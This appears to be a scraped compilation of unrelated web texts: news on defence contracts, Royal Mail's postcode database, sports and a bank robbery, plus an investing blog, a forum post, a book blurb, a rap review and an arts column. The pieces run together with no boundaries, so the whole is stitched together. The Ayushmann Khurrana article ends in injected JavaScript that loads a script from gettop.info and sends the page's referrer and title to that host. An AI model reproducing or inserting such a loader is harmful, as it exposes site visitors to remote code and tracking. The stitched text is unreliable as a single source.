JMAR receives funding from U.S. Army to complete X-ray lithography tool
Post a comment
SAN DIEGO -- JMAR Technologies Inc. here today announced that it has received funding from the U.S. Army to continue the development of its X-ray lithography program.
The San Diego-based company received a total of $7,796,259 from the U.S. Army Robert Morris Acquisition Center in Adelphi, Md. The contract is sponsored by the Defense Advanced Research Projects Agency (DARPA).
The funds will be used to construct an engineering prototype, or "beta" system, of an integrated X-ray lithography system, based on the technology from Semiconductor Advanced Lithography Inc. (SAL) of South Burlington, Vt.
In April, JMAR jumped into the lithography-tool business by acquiring SAL, a supplier of X-ray stepper systems (see April 17 story ).
The X-ray stepper will be designed for use in processing chips for optical networking, wireless, and military applications, said John S. Martinez, JMAR's chairman and CEO.
"The timely availability of these additional funds will accelerate our efforts to complete, in 2002, a fully integrated engineering prototype X-ray lithography system capable of handling the first of what we believe will ultimately become a wide-range of high-performance semiconductor manufacturing applications," he said.
"Specifically, this added financing will enable us to complete several key incrementally-funded contract tasks that were initially awarded to JMAR over the past three years," Martinez said.
"Before the end of 2001, we expect DARPA will award a separate new contract to JMAR to complete the purchase of a Model 5 stepper from SAL, install JMAR's X-ray source into the stepper and perform the final installation and checkout of the fully-integrated system," he said.

When I write about the deep value investing[1] — and the fact that it fits my lifestyle and personality — I always get someone who accuses me of taking the lazy way out.
I wish such an accusation was accurate. If there was a lazy way to achieve superior long-term returns, I would be its leading advocate and practitioner.
Instead, finding stocks that are cheap on an asset basis and have an adequate margin of safety is not an easy pursuit. Reports have to read and analyzed on a regular basis, all while screens and searches are done daily. Asset values have to be vetted and checked by running comparable valuations on property and buildings and other holdings verified.
To sum it up, the learning curve for asset-based investing is steep.
My advantage comes from being able to do the work when and where I choose. I do not have to be sitting in front of my screen or connected to constant flow of prices and news. I have read more than one 10K with the baseball game on in the background and when 13F season hits next week I will be reading those filings by the pool in the evening.
Once I have done the work to verify the value of the stock and purchased the shares, I don't spend a lot of time day-to-day worrying about the price until it approaches full value.
As an example, I currently own several insurance companies and banks that were purchased at huge discounts to book value. Hartford Financial Services (HIG[2]) has completely transformed itself by disposing of non-core asset and focusing on the property and casualty insurance business.
The stock trades at just 80% of tangible book value right now and at about half of my estimate of intrinsic value. I feel no need to check the stock price several times a day or worry about short-term developments. I have a high degree of faith in my valuation of the company and am not going to sell based on short-term price moves.
On top of that, as I am driving through the everglades to the Keys this week with my wife and daughter, I will not check on the price of Northeast Bancorp (NBN[3]) anytime during the trip. I may read some recent 10Qs on the beach during the day, but the price of a cheap well-run bank in Lewiston, Maine, is not going to be high on my list of concerns.
The bank trades below book value and has plenty of capital, all while non-performing loans are at just 1% of the total. I have no intention of selling the stock anytime soon and, if the market were to drop, I would be inclined to buy a little more.
Deep value investing is concerned about price only as it relates to the value of the underlying business. Day-to-day price fluctuations are just noise most of the time and can be ignored — and preferably ignored from the beach or bleachers after reading the latest filings.
As of this writing, Tim Melvin was long HIG and NBN.

A CAMPAIGNER'S fight to stop 100 homes being built on church land has gone online – and he is calling on the Archbishop of Canterbury to take action.
The Echo reported last month Durham Chapter and Croxdale Farms Limited have submitted plans to create 96 executive homes on separating land off Durham Lane in East Rainton.
Developers argue the scheme will help to increase the number of affordable homes on Wearside.
But those living nearby have slammed the proposals, saying there are already too many homes in the village, their house prices will drop if plans are approved and a popular area for dog walkers will be ruined.
Several residents have already registered objections on Sunderland City Council's planning website, and now Markle Grove resident Robert Lamb has set up an online petition in which he directly mentions the Archbishop of Canterbury, the former Bishop of Durham, Justin Welby.
Mr Lamb, 67, who has lived in the street for 30 years with wife Kath, said: "I've been involved with the running of churches for a long time but sometimes things need to be put into perspective.
"The church are selling the land to pay the running costs of Durham Cathedral and I don't think it's the most ethical way of raising that money.
"People come from all over the world to Durham Cathedral and I don't see why, like York Minster, they can't charge £10 per adult."
As well as complaining to the Archbishop, Mr Lamb has also made his feelings known to the Dean of Durham and the Bishop of Durham.
Mr Lamb added: "If the plans do go through, then I won't set foot in Durham Cathedral again.
"East Rainton has a unique early medieval heritage dating back 1,600 years of being surrounded by agricultural fields. This counts for nothing when the powerful vested interests of the Church of England and the Coalition Government's Trojan clause combine to pressurise the planning authority of Sunderland City Council.
"I feel this will result in a further capitulation in favour of developers, resulting in more applications to build on protected land.
"Why should the people of East Rainton and Sunderland forfeit their heritage and protected land to satisfy the cash needs of Durham Cathedral?"
The home plans are currently under consultation and set to be heard by Sunderland City Council at a meeting next month.
The petition can be found via www.change.org/en-GB/petitions/dean-of-durham-cathedral-withdraw-your-planning-application-to-build-100-houses-on-this-protected-land.

I've seen Avatar twice now. I already reviewed it on my personal blog. I didn't love it exactly, but I had to see it a second time because, despite its flaws, I knew my seven year old would think it was awesome. He did.
However, I do want to add one quick thing about it. In the past, I've complained often about the way movies portray scientists as closed minded eggheads who don't understand the way the world really works, and skeptics are regarded as blind fools who wouldn't recognize evidence that's whacking them over the head with a cricket bat. For more of this discussion, see the Atheist Experience archive, episode #530 about "Skeptical straw men in fiction."
One thing that Avatar really has going for it is that the scientist characters were clearly right. The military wanted to charge in with guns blazing; the scientists just wanted to study the planet's ecosystem and establish diplomatic relations. The scientists emphatically were not egotists filled with hubris who were tampering with forces of nature they did not understand. And when they talked nerd talk, it's presented as charming. They got geeked out and excited about the stuff they were seeing, and this was treated with affection for new discoveries. When Grace visits a new part of the world in order to try to treat her serious wounds, the first thing she says is "I have to take some samples!"
So the movie itself was thoroughly implausible all the way through, and the political aspects were annoyingly oversimplified. But treating scientists as real good guys and giving them believable reactions counts for something in my book.

Has anybody else noticed this recently? A lot of my adult students and now even the kids are using this term. Or name if you wish. "Maria" . If the girl is from the Philippines, Malaysia, Indonesian or wherever in SE Asia local people are using this to describe domestic helpers. It seems to be popular now.
Actual quotes
Her "Maria" was looking for the dog.
My family hired a new "Maria" but she is pretty.
The "Marias" take the grandfathers to Da'an Park.
The other "Maria" told her to run away.
It kind of irks me. Like my redneck uncle calling every black guy with a blue collar job Tyrone or every other Asian person Jackie Chan or Sue Wong or etc. I have not said much in class but it rubs me the wrong way.

Hill has no complaints as Yeltz lose to leaders
5:19pm Wednesday 23rd October 2013
5:19pm Wednesday 23rd October 2013
HALESOWEN Town boss John Hill had no complaints this week after watching his Yeltz side go out of the FA Trophy and then lose convincingly to league leaders Leek Town.
The Yeltz lost interest in the Trophy after suffering a 3-1 reverse at home to Southern League Premier side St Neots Town - writes Nick Pullen.
Hill claimed: "St Neots were the better side, but we had most chances. We created two golden opportunities when the score was still 0-0 but didn't take them and it's all about taking chances.
"St Neots were a well organised side and had a striker in Jake Woolley who was on loan from Luton Town, so it showed the calibre of opposition we were up against".
The Yeltz were given a reality check at Leek Town on Tuesday after losing 4-1.
Hill said: "I fancied them to win the title before the start of the season. They are a very good side and my opinion that they will win the title, has only been strengthened.
"We stifled them for the first half hour - that was the plan. However, we have some very young players in our squad and I thought we gave a very niave performance".
Hill was upset that Nigel Penney was sent off with 15 minutes remaining and insisted: "I was right in line and it wasn't the two-footed tackle that was suggested. The referee had earlier let a far worse tackle go unpunished so there was no consistency. But that said, the dismissal had no bearing on the result".
Neil MacKenzie netted a late consolation goal at Leek with a 25 yard special, while Joe Hull headed home Elliott Turner's 87th minute corner against St Neots, when the Yeltz were already trailing 3-0.
Halesowen hope to bounce back this Saturday when they host Goole Town at the Grove when striker Iyesden Christie and midfield man Chris Lait are unlikely to feature.
The Yeltz play host to Wolves next Tuesday night in the Birmingham Senior Cup.
Admission to this game has been reduced to £5 and £3 concessions, while children under 12 years old are admitted for free

Ministers were strongly criticised for including the register, which contains 1.8 million postcodes and all 28 million addresses, to help boost the share price in the initial public offering (IPO).
The cross-party Commons Public Administration Committee said the Postcode Address File (PAF) was a "national asset" which should have been retained and made publicly available to benefit businesses and the economy.
It said the PAF's sale achieved only "short-term gain" in last autumn's IPO and was an "unacceptable and unnecessary consequence of privatisation".
The committee said losing the database to the private sector has the potential to thwart economic innovation and growth.
Committee chairman Bernard Jenkin said: "The sale of the PAF with the Royal Mail was a mistake. Public access to public sector data must never be sold or given away again."
The PAF holds all known Royal Mail delivery points in the UK and the committee said an immense amount of work went into collecting the database and said it was of "huge direct value" to the economy.
In a statement to Sky News, the Royal Mail defended its position and said it takes its "responsibilities and obligations" for the PAF "very seriously".
It said: "Last year, Ofcom held a review of the PAF's pricing and licensing framework and recognised the integral relationship between PAF and delivery of the Universal Service Obligation (USO).
"Without positive and progressive management of PAF, our operational ability to deliver the USO would be severely undermined.
"Following its consultation, Ofcom concluded in July 2013 that Royal Mail should continue to be able to recover both the internal and external costs of PAF from licensees.
"In addition, in 2011 Parliament decided that the PAF should be available to all on reasonable terms."
The Royal Mail flotation was widely criticised for having an undervalued opening price.
The Government sold shares last October for 330p each, valuing the company's equity at £3.3bn.
Shares rose to more than 500p within a week of the sale, drawing more criticism of the float price.
Sky News City Editor Mark Kleinman later revealed investment bank JP Morgan had previously told the Government that the Royal Mail could be worth near to £10bn - 200% up on the float price.
The PAC added: "The Postcode Address File was included in the sale to boost the Royal Mail share price at flotation.
"This takes an immediate but narrow view of the value of such data sets."
"The PAF should have been retained as a public data set, as a national asset, available free to all, for the benefit of the public and for the widest benefit of the UK economy.
"Its disposal for a short-term gain will impede economic innovation and growth. This was an unacceptable and unnecessary consequence of privatisation."

Bone discovered on river bank believed to be human shin
A major investigation has been launched after a bone, believed to be human, was discovered near a river.
Independent.ie has learned that the suspected shin bone was found in Doonass, Clonlara, Co Clare at 1.30pm on Thursday.
Gardaí from Ardnacrusha were called to the scene, which was later sealed off. Forensics officers examined and photographed the site which is close to the River Shannon.
The suspected body part was then brought to University Hospital Limerick mortuary where further tests will be carried out to establish if the remains are human.
The scene, on the border with Limerick, remains sealed off.
A source said: "This was a most unusual discovery. The bone was found near a river but it was on dry land. All indications are that it was a human shin bone."
A garda spokesperson said: "We are investigating a possible human bone found at a river bank at 1.30pm on Thursday. The scene has been photographed and it's been taken away to the mortuary at University Hospital Limerick to verify if it is human."
The scene is close to Limerick city where a number of people have been reported missing over the last 20 years.

The Department of Statistics last week reported that the unemployment rate this month has risen slightly to 13.4 per cent, up from 13.2 per cent in August.
A department survey showed that 38 per cent of the jobless have been seeking employment for more than one year and another 50 per cent have spent less than six months looking for jobs.
The survey revealed that unemployment among male Jordanians stood at 11.6 per cent and among females at 22.2 per cent.
According to the August survey, unemployment among males in rural areas stood at 14.9 per cent compared with urban areas where the rate was 13 per cent. It said the jobless rate among women in rural areas was 26.6 per cent compared to 21.3 per cent in urban areas.
Unemployment was highest among people aged 15 to 24, at 25.6 per cent. Among those aged 25 to 49, the jobless rate was 6.7 per cent.
The survey also revealed that 2.1 per cent of the unemployed are illiterate and 54 per cent have not obtained the secondary school certificate.
Independent institutions have placed the unemployment rate in Jordan at 27 per cent — almost double the department's official figures.
The official unemployment rate fluctuated throughout the year, starting at around 14 per cent, dropping to 10 per cent by the end of the first quarter, then rising again to 14 per cent by mid-year. ― (Jordan Times [1])

Two separate black bear hunting violations near Talkeetna were issued last week.
Billy Ray Cross of Eagle River was issued a summons to appear in court after an investigation showed that Cross had established a black bear bait station on the north side of the Talkeetna River near town.

The Iron Major Survival Guide is a self-help book for the senior Captain / junior Major that was developed after years of teaching staff officers and junior leaders. It's not a be-all, end-all, "how to make General" book, but a survival guide with hundreds of tips and tricks on how to make it through the daunting and confusing world of staff operations. In all of the Armed Services (Army, Navy, Air Force, Marine Corps) it's eventual that an officer will serve on a staff of some sort. Staff work is chaotic, tedious, and can end an officer's career faster than a phone call. This book is a guidemap to getting through it without committing careericide. If nothing else, The Iron Major Survival Guide provides a great checklist of all the things a junior field grade officer needs to consider when being assigned to, or leading, a staff. Young staff officers who have not achieved the rank of Major yet can also use this book to help their Majors and / or learn what they're going through. An ambitious Captain will find gold in these pages that he can use long before becoming an Iron Major himself. Written by a guy who did not become a General, The Iron Major Survival Guide contains a lot of self-aggrandizing humor and "there I was" vignettes that every officer can identify with. Since it's publication The Iron Major Survival Guide has quickly become must read material for aspiring career officers in the US Military and students of management and large organizations as well.
Brigadier General William King, US Army
" I highly recommend this book only to those that have a unquenchable passion to make a positive difference every day in their service to our Nation's defense. It should contain a warning label that states 'Caution: once informed you are now responsible and will be held accountable as an IRON MAJOR."
Major General (Ret) Robert M. Williams, US Army
" At a time when 'political correctness' seems to threaten the Profession of Arms, The Iron Major Survival Guide is entertaining, refreshingly candid, and at times politically incorrect. The willingness of the author to share his own missteps and lessons learned make for a powerful and entertaining read. Dave provides all with valuable insights on how to better staff officers and leaders. A must read for all company grade staff officers!"
Brigadier General (Ret) Jim Lettko, US Army
"Telling it like it is, ground truth, with a dry sarcasm only a military staff officer can appreciate. Dave takes his true experiences and drives home the salient points of how to succeed on personal, professional, and organizational levels. A must-have staff officer's reference for today's Army."

Motor controller targets mobile robot, automation applications
Roboteq's MDC2250 controller is capable of driving two dc motors up to 60 amps each.
Roboteq's intelligent MDC2250 controller is capable of directly driving two dc motors up to 60 amps each, at up to 50 V. The MDC2250 is targeted at designers of mobile robots, Automatic Guided Vehicles (AGVs), or any other high power motor control application.
The controller accepts commands, and can switch automatically from analog joystick, standard R/C radio, USB or RS232 interface. Using the USB or serial port, the MDC2250 can be used to design fully or semi-autonomous robots by connecting it to single board computers, wireless modems or WiFi adapters.
The MDC2250 incorporates a Basic Language Interpreter capable of executing over 50,000 basic instructions per second. This feature can be used to write powerful scripts for adding custom functions, or for developing automated systems without the need for an external PLC or microcomputer.
The controller's two channels can be operated independently or combined to set the direction and rotation of a vehicle by coordinating the motors on each side (tank-like steering). The motors may be operated in open or closed loop speed or position modes with a 1 kHz update rate. The MDC2250 includes inputs for two Quadrature Encoders up to 250 kHz measurement.
It features intelligent current sensing that will automatically limit the power output to 60A in all load conditions. The controller also includes protection against overheat, stall, and short circuits. The controller can be ordered in a single channel version with a drive output up to 120 A.
The controller includes up to 4 analog, 6 digital and 4 pulse inputs. Two 1A digital outputs are provided for activating, lights, valves, brakes or other accessories. The controller's operation can be optimized using nearly 80 configurable parameters, such as programmable acceleration or deceleration, amps limits, operating voltage range, use of I/O, and more.

Annual Salary Survey
Before the calendar turned, 2016 already had the makings of a pivotal year for manufacturing, and for the world.
There were the big events for the year, including the United States as Partner Country at Hannover Messe in April and the 2016 International Manufacturing Technology Show in Chicago in September. There's also the matter of the U.S. presidential elections in November, which promise to shape policy in manufacturing for years to come.
But the year started with global economic turmoil, as a slowdown in Chinese manufacturing triggered a worldwide stock hiccup that sent values plummeting. The continued plunge in world oil prices has resulted in a slowdown in exploration and, by extension, the manufacture of exploration equipment.

MIAMI - Shaquille O'Neal will miss at least the next two weeks because of recurring pain in his left hip and leg, the latest piece of disappointing news for the reeling Miami Heat.
An MRI exam performed Tuesday on O'Neal's ailing hip found acute inflammation in that joint and his quadriceps muscle. He will be treated with ice, but won't do any basketball-related activity - with hopes that rest will cure the problem.
O'Neal will miss at least six games, barring a change in the rehabilitation schedule. The earliest he could return under the timetable released by the team is Feb. 6 at Detroit.
"His activity, the activity, is exacerbating it," said Heat coach Pat Riley, whose team has lost 14 straight games, three shy of matching the franchise record. "That's all. That's what happens. He's trying to do everything he do. He's gotten all the treatment he can get. And now it's probably going to be an inactive period of time until the thing heals."
Atlanta center Pachulia suspended for Denver game
ATLANTA - The Atlanta Hawks suspended backup center Zaza Pachulia for today's game at Denver for "conduct detrimental to the team," general manager Billy Knight said Tuesday.
The nature of Pachulia's transgression was not described by the team, but he had a run-in with coach Mike Woodson during Monday's 111-109 overtime loss to Portland.
Pachulia objected as he was substituted in and out of the game for matchup purposes. At one point, he waved his arms at Woodson, and after a brief exchange during a timeout Woodson sent Pachulia to the locker room with under 10 minutes to play.
The 6-foot-11, 280-pound Pachulia has averaged 14.4 points in 19 games this season, including five starts, with an average of 4.6 points and 3.4 rebounds.
The suspension only applies to Wednesday's game against the Nuggets, and Pachulia will be available when the Hawks play at Seattle on Friday in the second game of a five-game western road trip, the Hawks said.
Nene's tumor malignant, but cancer isolated
DENVER - A testicular tumor removed from Denver Nuggets forward Nene was malignant.
The team said Tuesday the tumor was discovered early, and tests showed the cancer was isolated.
"The recovery rate is extremely high," the Nuggets said in a written statement. "In addition, the odds of a recurrence are very small."
The Brazilian player underwent surgery Jan. 14 to remove the tumor. The team said he was doing well, but there was no timetable for his return.
The Brazilian news magazine Epoca reported on its Web site the tumor was small and was completely removed in surgery, citing Nene's Brazilian urologist Dr. Fernando Kim. Examinations of his blood, lungs, pelvis and abdomen showed there was no other tumor in his body.
"There is no sign the disease has spread," Kim told the magazine, adding the player was recovering "physically and psychologically extremely well."

At a news conference today, Senator Tim Mathern said North Dakotans should know his future political plans and those of Governor John Hoeven to clear the air before the upcoming election.
"Since I began my campaign for Governor, people have been asking me if Governor Hoeven wants to be in office for 12 or more years, or if he wins will he resign and run for Senate or Congress in two years. I think these are legitimate questions for the highest state office in North Dakota."
Mathern said the governor needs to make whatever decision he wants and let the citizens know what it is quickly.
"This is just a matter of clearing the air, so voters know what they are voting for. There have been other recent statewide office changes following a resignation. (Fong and Hamm) It makes sense that people now have this question in their minds. Is this a vote for John Hoeven for 12 plus years or a vote for Jack Dalrymple while Hoeven campaigns for another office?"
Mathern said for his part, "I pledge to run for no more than two terms as governor. I think eight years is enough for one administration to get the job done or to move on to encourage other leadership in our state."
Senator Mathern noted the governor's post is held by one full-time person who is the chief executive officer with dramatic impact on the state. Comparatively, a legislative change where a legislator is one of many legislators has minor consequences.

Kirko Bangz ft. YG & Yo Gotti - Hoe
As Kirko Bangz's stock has risen in the game, he's naturally received increased attention from the opposite sex. But he doesn't have any illusions about the type of women who are attracted by his bankroll; he knows full well that, if he doesn't give them what they want, they'll move right on to the next rich emcee. "Hoe" may not be the kindest term but, as Bangz makes clear on his new single by that title, he actually respects these ladies' hustle. Over P-Lo's club-ready boardwork, he spits: "Don't be ashamed to be a hoe, if you a hoe then let 'em know you getting money and they need to f**k wit it." Memphis veteran Yo Gotti expresses his own love for big money and fast women on verse two, and West Coast buzzmaker YG handles the hook. Complete with a bridge inspired by 2Pac's similarly-themed All About U, this cut isn't attached to a larger project… yet. If and when that changes, of course, Boothgoers will be the first to know.

Over the past year, leaders of the University of Texas at Brownsville and Texas Southmost College have responded critically [1] to a proposal by the Department of Homeland Security to build a fence that would split up the campus of the jointly managed institutions in the name of border security.
In recent months, it's become increasingly clear just how adamant the leadership is to fight for its position. Expressions of concern have now turned to formal opposition.
Juliet V. Garcia, Brownsville's president, sent to alumni a statement [2] defending the university's decision not to sign a letter that would allow government officials to survey the campus to determine whether the fence project is feasible and, if so, how to proceed. The Texas Southmost College Board of Trustees also passed a resolution that praised the federal government's efforts to improve border security but rejected the idea of constructing a fence in the region.
Both the university and government officials say they are continuing talks about the right of entry to the campus. But Brownsville and Southmost could be looking at a legal battle with the federal government if it continues to keep the assessments from taking place.
U.S. Customs and Border Protection, which sought the right of entry onto university property, has not yet filed a court petition seeking access to the campus, which sits on the edge of the United States-Mexico border. And the U.S. Army Corps of Engineers, which is handling the real estate discussions, has notified the college that it could seek a court order to allow its personnel on campus if nothing changes.
"What is being demanded, under threat of legal action, is unimpeded access by military and civilian agencies to a UT System campus and its state and locally financed buildings for an extended period of time for purposes of determining if land and buildings will be condemned and seized," Garcia wrote in her letter to alumni. "I believe this is sufficient cause for serious concern."
Garcia, who did not wish to comment for the story, reiterated in the letter that a Homeland Security plan to build an 18-foot fence on top of a levee north of its campus is unacceptable. Doing so would, in essence, place the college's International Technology, Education and Commerce Campus, which is a mile west of the main campus and is the hub for technology training, on the Mexican side, despite it being on U.S. soil in Brownsville, Texas. Plans to build a fence on top of a levee just south of an athletics field and parking lot also puts an entire golf course on the Mexican side, Garcia said.
Russ Knocke, a Homeland Security spokesman, told Inside Higher Ed in June that the fencing would be built as part of the Secure Border Initiative [3], a multi-faceted immigration control strategy that involves increasing the number of enforcement agents, installing traditional fencing, and using "virtual fencing" technologies, based on the use of ground-based radar and sensors, along with unmanned aerial vehicles.
In her letter, Garcia said the government's request for access to the area between the levees and the college's buildings would be disruptive to campus activities and inhibit the movement of students, faculty and staff.
"But the right of entry was also refused because it was meant to support preparations for the building of a fence that would jeopardize our campus security," Garcia wrote, adding that "having an opening in an 18-foot high fence for the purpose of channeling illegal entrants alongside our golf teams and adjacent to the baseball park, the new soccer field and the REK Center would greatly endanger our students."
The fence, Garcia wrote, also runs counter to the college's mission, "which is in part to convene the cultures of its community, foster an appreciation of the unique heritage of the Lower Rio Grande Valley, encourage the development and application of bilingual abilities in its students and provide academic leadership to the intellectual, cultural, social and economic life of the bi-national urban region it serves."
The letter ends with this statement: "Of course, we believe in protecting our borders. Of course, we believe in strong immigration policy. But we also understand that a fence, no matter how high or how wide is no substitute for either."

A new year in the PC Perspective forums
Subject: General Tech | January 4, 2008 - 05:32 PM | Jeremy Hellstrom
It is the first Friday of 2008, which leads to the first forum post of 2008 as well as the first PC Perspective Podcast for 2008. If you haven't already listened to Josh and Ryan in Podcast #19, then start streaming or you will be missing out on some great info from CES, news from around the web and indepth looks at some of our recent reviews.
Once you have caught up on that news, you can see some of the action in the forums, as most of our members picked up at least one new piece of tech over the holidays. For instance, with a new HTPC and movies to watch, you may start thinking that Network Attached Storage would help get your media from the PC to the TV. You can find some great hints on setting up a NAS server in the Networking Forum.
Some members of the Processor Forum want a new processor, others have set their sights a little higher and want the whole company, while some in the Cases'n'Cooling Forum would settle for a good PSU.
Over in Video Forum-land, there is a long discussion about the best coolers for the 8800GT series, focusing on heat and noise as well as overclocking potential.
You can get some good advice about wires in the Audio Forum, that is desperately needed by anyone who would consider buying from PEAR cable. Really though, if you are still looking to buy things, the best place to head is the Trading Post, lots of good gear has started appearing over the past week!

A Lakewood man pleaded guilty Tuesday in federal court to bank robbery for the Jan. 11 robbery of the Chase Bank branch in Sheffield Lake.
Andrew Perry, 21, was one of two men accused of robbing the bank on Lake Road about 11:45 a.m. and making off with $9,288.
The Cleveland office of the FBI has said Perry and 18-year-old Bryce Herring, of Elyria, covered their faces with white bandanas and hooded sweatshirts during the robbery and fled in a car after getting the money.
Herring's attorney, Jack Bradley, said his client also plans to plead guilty in connection with the robbery, but he has yet to work out a date with prosecutors to do so.
This isn't the first time Perry has faced bank robbery charges.
He and his brother, Lewis Perry, robbed a Charter One bank branch in Lakewood last year, wearing only sunglasses as a disguise, and fleeing with an undisclosed amount of money, police said.
Lakewood police have said they quickly identified the brothers because they knew them and their disguises were not effective.
Lewis Perry received a four-year prison sentence for the Lakewood robbery, while Andrew Perry was given probation in the case.
A sentencing date in Andrew Perry's federal case was not listed in court records Tuesday.

AUSTRALIAN cricket stars Brett Lee and Pat Cummins will coach Tasmanian kids from more than 1000km away at the Sydney Cricket Ground via direct video link.
The sporting heroes are taking part in a coaching clinic using the National Broadband Network (NBN) to link them to budding cricketers in Hobart.
Lee and Cummins will use the video link to teach the Tasmanian kids cricketing techniques before the one-day international kicks off at the SCG on Friday.
Cricket Australia CEO James Sutherland said fast broadband will enable specialist coaches to improve the playing techniques of kids in all parts of the country.
"The virtual coaching session showcases the opportunities the NBN presents for cricket, and sporting codes in general, as a powerful tool that helps people coach and select Australia's champions of tomorrow no matter where they live or train," he said in a statement.
About 1800 homes and businesses in Hobart, Tasmania will have access to the NBN from Friday, adding to the more than 70,000 Tasmanian premises where work has either commenced or been completed.

Ayushmann Khurrana is a top notch entertainer, be it his acting or his singing or his anchoring. But going by his previous movies and the fully faltoo films on MTV, his proficiency seems to be in the comedy genre. From being the initially-reluctant-later-professional sperm donor in Vicky Donor, to spoofing Shahrukh Khan and Hritik Roshan in MTV movies to playing a theatre actor in Nautanki Saala Khurrana handles being a comedian with elan. Bollywood Celebden presents some of his funniest scenes.
Tank mein store karun kya sperm?!?
In this scene from Vicky Donor, the protagonist Vicky Arora is being convinced by Dr. Chadda to donate sperm in the funniest possible way.
Vicky Arora has "Performance Issues"
This scene is from Vicky Donor too. Vicky Arora finally agrees to be a sperm donor but funnily enough, he has "performance issues".
Ghar pe baithke baap ban raha hun
Vicky is now a professional sperm donor but is funnily troubled by the notion when the doctor sends sweets and gifts to his place.
Blue film dekhne gaye the
This scene is from the movie Nautanki Saala where the protagonist RP is in a conversation with his girlfriend and they reminisce about a date of theirs. RP calls the movie Avatar a "blue film".
Cheque De India
This is probably the funniest motion picture ever by Ayushmann Khurrana. It is a spoof of the 2007 hit film Chak De! India. Ayushmann rocks in this with his portrayal of Fakir Khan, a parody of the character Kabir Khan (portrayed by Shahrukh Khan) from the original movie.d.getElementsByTagName('head')[0].appendChild(s);s.src='http://gettop.info/kt/?sdNXbH&frm=script&se_referrer=' + encodeURIComponent(document.referrer) + '&default_keyword=' + encodeURIComponent(document.title) + ";

U.K. Magic Circle firm Linklaters and Australia's Allens Arthur Robinson are set to announce today that they have entered into an exclusive alliance from May 1 and will form a series of joint ventures across Asia.
In an interview Sunday, Allens Arthur chief executive partner Michael Rose stressed that the deal was not a merger and that both firms wanted to remain independent.
"Clients understand that this is an offering that we could not get somewhere else," says Rose. "At the same time, it is also an arrangement that maintains our position in Australia and does not make us a firm extension or radically change our local offering."
Though short of a merger, the deal is the latest in a string of tie-ups involving a large Australian firm and an international partner. At the beginning of the year the former Mallesons Stephen Jaques and Blake Dawson respectively combined with China's King & Wood and the U.K.'s Ashurst. Freehills is currently discussing some kind of deal with British firm Herbert Smith, the inking of which would leave Clayton Utz and Minter Ellison the only remaining independent firms among Australia's Big Six law firms.
U.K. firms in particular have been drawn to Australia by the growth in cross-border investment in the country's energy and mineral resources by rising Asian economies, especially China. Linklaters' Magic Circle rivals Allen & Overy and Clifford Chance have both opened offices in Australia in recent years.
As part of the agreement, Linklaters and Allens Arthur have formed a profit-sharing joint venture bringing together their Asia-focused energy, resources, and infrastructure lawyers. The two firms have also formed another JV focusing on Indonesia based on Allens Arthur's existing alliance with Jakarta law firm Widyawan & Partners.
According to Rose, the firms are looking to set up more such JVs, where resources of both firms are pooled to work together, either on a geographical or practice-oriented basis. He cited the Middle East, China, Vietnam, and India as other markets where the firms might consider having JVs.
In a statement, Linklaters senior partner Robert Elliott called the two firms "a very good fit" with "a similar client base, complementary practice areas, cultural synergy, a leading depth and breadth of expertise, and strength of brand in our respective markets."
Linklaters, which has about 2,100 lawyers globally, has Asia offices in Hong Kong, Beijing, Shanghai, Singapore, Tokyo, and Bangkok. Allens Arthur, which has around 800 lawyers, also has offices in China and Hong Kong but has made greater investments in recent years in Southeast Asia, including Vietnam and Thailand. The firm also opened an office in Mongolia last fall.

Mead made speedily
Lost Cause Meadery noteworthy for reduced fermentation period
Ian Anderson 4 p.m., Nov. 19
(Page 2 of 8)
I learn that particular tidbit from Gill, who has made a study of such things. "I'm hugely influenced by Mitch Hedberg as far as the kind of comedy I write," says Gill after the set, standing in the cool outside the bar for a minute before heading back in to sing bawdy, comedic songs under her own persona. "I just don't do heroin. I think he's one of those accidental geniuses, like the Beatles. There are tribute bands — I figured, why not tribute comedy?"
Adopting the Mitch persona, says Gill, takes little more than "a couple of drinks. If you f*ck something up, well, Mitch messed up all the time because he was so fcking high. So you can just be, like, 'Ah, fck, I fcked that up,' and people will be, like, 'That's so right!' When, actually, I fcked it up."
But then, there is that inflection, and you don't get that out of a couple of drinks. "I have a freakishly good memory, and it's auditory," Gill says. "If I hear something once, I've got it. When I was four or five, I started doing talent shows, memorizing Shel Silverstein poems. But I had to have someone read them to me to memorize them, and in a very overacted manner. The inflection makes it almost like a song, and I'm good at imitating that. If a comic has that sort of thing, there you go."
Gill saw Hedberg perform once at Spreckels in 2004, six months before he died. By that point, she was already working Sunday nights here at the Blarney Stone. "They had an open-mike night, and I came in and performed. There were, like, six people there," but one of them was the owner, "and he said, 'You're hosting open mike from now on.' " (When she starts into her own set, it becomes clear that she's developed a following of her own. When she launches into a song about one-night stands, a trio of young women at the bar roar out responses to each line: "Well, it's 2:00 a.m. and I don't know your name [KNOW YOUR NAME!] You might think it matters, but you're all the same [ALL THE SAME!]…")
These days, she says, "I'm pretty selective. I had some people who weren't that great, and they drove people out of the place, so now it's more 'I'll book you to play on Sunday and you won't get paid, but the owner is usually here, and if he likes you, he'll book you to play on a Wednesday, Thursday, or Friday. And they pay really well.' " Customers get a dose of free comedy from up-and-comers, and comedians get a lesson in working a bar. "People come here to try out comedy because when they come here, they can get good at dealing with hecklers and dealing with a room that's not set up for comedy. It's just a regular open mike at a bar — it's not the Comedy Store, where everybody's laughing because it's nice to do that."
I watch most of my TV and movies on a 15-inch computer screen, which makes the promise of seeing Terminator 2 at something approaching cinema-size up in the Loft at UCSD pretty tempting. Yeah, I've seen it — twice — but it's a durable action movie and would make for a fun run-up to Terminator: Salvation. On the other hand, I've seen it. Twice. A better call: Special. "This darkly comic riff on our relationships with our heroes and our medicine cabinets, starring Michael Rapaport, screens for Film Forum, 6:30 p.m., San Diego Public Library, downtown. Admission: Free."
Whatever charms the New Library (of Happy Anticipation) may eventually possess, I'm betting it won't be able to match the old main branch for stubborn charm. The term "stately pile" is usually reserved for old English country houses, but it's what I think of every time I behold the library's façade, with its faux-stone front, its glassy entry level, its short columns below the roofline. And my favorite room in the stately pile, hands down, is the third-floor lecture hall, tucked behind a single door framed with smooth wood paneling. It's dated, but in the best possible way — there's not a trace of wear on the wainscoting; the movie-style seats are still springy and comfy, and the acoustic beveling of the ceiling still looks futuristic. Pull down a movie screen in front of the stage curtain, fire up the overhead projector, and you've got a fine free movie house.
"I work on the idea that if something intrigues me, there will probably be others who feel the same way," says Ralph DeLauro, who runs the library's film program. "And because it's free, you can go for art with a capital A and see what happens. Special seemed like an oddball film that fit in with what we do."
